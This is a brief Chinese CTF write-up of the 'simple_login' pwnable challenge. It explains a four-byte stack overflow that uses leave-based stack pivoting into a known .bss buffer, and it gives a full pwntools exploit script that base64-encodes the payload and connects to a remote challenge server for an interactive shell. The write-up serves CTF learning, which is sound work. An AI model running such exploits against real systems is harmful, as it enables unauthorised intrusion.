BUU-pwnable_simple_login/XCTF-formate2-WP

Posted on Jan 6, 2021

很简单的一个栈溢出,本来还以为真的是什么高级密码学

这里有一个栈溢出。虽然只溢出了四个字节,但是由于input在bss段,其地址已知,我们可以考虑通过leave栈迁移至input。由于题目给出了后面函数,我们直接ret到那里去就可以了。

当然payload要先base64加密一下,因为main里会先给他解个密。

exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
import base64

bss_addr = 0x811EB40 

ret_to = 0x8049284
payload = p32(ret_to) * 2 + p32(bss_addr)
payload = base64.b64encode(payload)
print payload

sh = remote("220.249.52.134",31194)
sh.sendlineafter(": ",payload)
sh.interactive()

栈行为为:第一次leave将ebpmov给esp,然后将bss_addrpop给ebp,然后第二次leave会再mov一次,此时栈迁移到了bss_addr,pop出第一个ret_to,最后return到ret_to